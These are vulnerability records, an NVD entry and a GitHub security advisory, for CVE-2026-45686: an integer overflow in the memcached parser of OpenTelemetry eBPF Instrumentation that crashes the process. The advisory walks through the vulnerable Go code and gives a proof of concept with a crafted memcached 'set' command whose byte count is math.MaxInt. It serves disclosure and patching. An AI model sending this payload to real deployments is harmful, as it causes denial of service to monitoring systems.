{
  "affected": [
    {
      "affectedData": [
        {
          "product": "opentelemetry-ebpf-instrumentation",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.7.0, \u003c 0.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:opentelemetry:ebpf_instrumentation:*:*:*:*:*:go:*:*",
              "matchCriteriaId": "B26FE396-0185-41DD-85A1-0493A5384072",
              "versionEndExcluding": "0.9.0",
              "versionStartIncluding": "0.7.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From version 0.7.0 to before version 0.9.0, a remotely reachable integer overflow in OBI\u0027s memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as set, add, replace, append, prepend, or cas, OBI accepts extremely large \u003cbytes\u003e values and adds the payload delimiter length without checking for overflow. A crafted request with \u003cbytes\u003e set to math.MaxInt or math.MaxInt-1 causes the computed payload length to wrap negative and triggers a runtime panic in LargeBufferReader.Peek. This issue has been patched in version 0.9.0."
    },
    {
      "lang": "es",
      "value": "OpenTelemetry eBPF Instrumentation proporciona instrumentaci\u00f3n eBPF basada en el est\u00e1ndar OpenTelemetry. Desde la versi\u00f3n 0.7.0 hasta antes de la versi\u00f3n 0.9.0, un desbordamiento de entero accesible remotamente en el analizador del protocolo de texto de memcached de OBI puede bloquear el proceso de OBI y causar denegaci\u00f3n de servicio. Al analizar comandos de almacenamiento de memcached como set, add, replace, append, prepend o cas, OBI acepta valores \u003cbytes\u003e extremadamente grandes y a\u00f1ade la longitud del delimitador de la carga \u00fatil sin comprobar si hay desbordamiento. Una solicitud manipulada con \u003cbytes\u003e establecido en math.MaxInt o math.MaxInt-1 hace que la longitud de la carga \u00fatil calculada se envuelva a negativo y desencadena un p\u00e1nico en tiempo de ejecuci\u00f3n en LargeBufferReader.Peek. Este problema ha sido parcheado en la versi\u00f3n 0.9.0."
    }
  ],
  "id": "CVE-2026-45686",
  "lastModified": "2026-07-22T19:10:00.120",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45686",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-03T13:47:57.502090Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-02T16:16:43.493",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-190"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T20:21:52Z",
    "nvd_published_at": "2026-06-02T16:16:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA remotely reachable integer overflow in OBI\u0027s memcached text protocol parser can crash the OBI process and cause denial of service. When parsing memcached storage commands such as `set`, `add`, `replace`, `append`, `prepend`, or `cas`, OBI accepts extremely large `\u003cbytes\u003e` values and adds the payload delimiter length without checking for overflow. A crafted request with `\u003cbytes\u003e` set to `math.MaxInt` or `math.MaxInt-1` causes the computed payload length to wrap negative and triggers a runtime panic in `LargeBufferReader.Peek`.\n\n### Details\n\nThe issue is in the memcached request parser at `pkg/ebpf/common/memcached_detect_transform.go`.\n\n`memcachedCommandBytesField` parses the storage command `\u003cbytes\u003e` field with `strconv.Atoi` and only rejects negative values:\n\n```go\nsize, err := strconv.Atoi(string(fields[4]))\nif err != nil || size \u003c 0 {\n\treturn 0, false\n}\n```\n\nBecause there is no upper bound check, values up to `math.MaxInt` are accepted.\n\n`memcachedConsumeStoragePayload` then computes the payload length by adding the trailing `\\r\\n` delimiter length:\n\n```go\npayloadLen := bytesField + len(memcachedDelimBytes)\npayload, err := r.Peek(payloadLen)\n```\n\nIf `bytesField` is `math.MaxInt` or `math.MaxInt-1`, this addition overflows the signed `int` and produces a negative `payloadLen`.\n\nThat negative length is passed into `LargeBufferReader.Peek` in `pkg/internal/largebuf/large_buffer.go`. `Peek` checks whether `n \u003e Remaining()` but does not reject negative values before slicing:\n\n```go\nif r.rchunk \u003c len(r.lb.chunks) \u0026\u0026 r.roff+n \u003c= len(r.lb.chunks[r.rchunk]) {\n\treturn r.lb.chunks[r.rchunk][r.roff : r.roff+n], nil\n}\n```\n\nWith a negative `n`, the slice expression uses a negative upper bound and causes a Go runtime panic. Since OBI runs as a privileged instrumentation process and parses observed memcached traffic, an attacker who can send crafted memcached storage commands to an instrumented service can crash OBI remotely.\n\nAffected logic identified by the scan:\n\n- `pkg/ebpf/common/memcached_detect_transform.go:322`\n- `pkg/ebpf/common/memcached_detect_transform.go:386`\n- `pkg/internal/largebuf/large_buffer.go:501`\n\n### PoC\n\nThe repository already contains a runnable memcached fixture under `internal/test/oats/memcached/`. The steps below reproduce the crash using only files from this repository.\n\n1. From the repository root, start the checked-in memcached environment:\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     up --build\n   ```\n\n   This starts:\n\n   - `memcached` on port `11211`\n   - `testserver`, the Python app in `internal/test/integration/components/pythonmemcached/main.py`\n   - `autoinstrumenter`, the OBI process launched with `--config=/configs/instrumenter-config-traces.yml`\n\n   The relevant repo-local files are:\n\n   - `internal/test/oats/memcached/docker-compose-obi-python-memcached.yml`\n   - `internal/test/oats/memcached/configs/instrumenter-config-traces.yml`\n\n2. In a second shell, confirm the environment is working:\n\n   ```bash\n   curl http://127.0.0.1:8080/memcached\n   ```\n\n3. From the same repository root, send a crafted memcached storage command from inside the instrumented `testserver` container. On 64-bit systems, use `9223372036854775807` (`math.MaxInt`):\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     exec testserver \\\n     python -c \u0027import socket; s=socket.create_connection((\"memcached\",11211), timeout=5); s.sendall(b\"set crash 0 0 9223372036854775807\\r\\nvalue\\r\\n\"); s.close()\u0027\n   ```\n\n   On 32-bit systems, replace `9223372036854775807` with `2147483647`.\n\n4. OBI parses the request header, accepts the `\u003cbytes\u003e` field as an `int`, and computes:\n\n   ```go\n   payloadLen = bytesField + len(\"\\r\\n\")\n   ```\n\n5. That addition overflows negative and the negative `payloadLen` is passed to `LargeBufferReader.Peek`, which slices with an invalid bound and panics.\n\n6. Confirm the crash by checking the `autoinstrumenter` container status or logs:\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     ps autoinstrumenter\n   ```\n\n   ```bash\n   docker compose \\\n     -f internal/test/oats/memcached/docker-compose-include-base.yml \\\n     -f internal/test/oats/memcached/docker-compose-obi-python-memcached.yml \\\n     logs autoinstrumenter\n   ```\n\n   The expected result is that the OBI process crashes with a panic originating from `LargeBufferReader.Peek`, with the call path including `memcachedConsumeStoragePayload`.\n\n### Impact\n\nThis is a remote denial-of-service vulnerability in OBI\u0027s memcached protocol parsing path.\n\nImpacted deployments are those where:\n\n- OBI is running with the vulnerable memcached parser, and\n- OBI observes memcached text protocol traffic from applications or services that an attacker can reach or influence.\n\nA successful attack does not require code execution or authentication against OBI itself. An attacker only needs to cause a vulnerable instrumented service to emit or receive a crafted memcached storage command. The result is a panic in OBI and loss of telemetry collection until the process is restarted.",
  "id": "GHSA-43g7-cwr8-q3jh",
  "modified": "2026-06-09T10:58:58Z",
  "published": "2026-05-18T20:21:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-43g7-cwr8-q3jh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45686"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Memcached payload length overflow can crash OBI"
}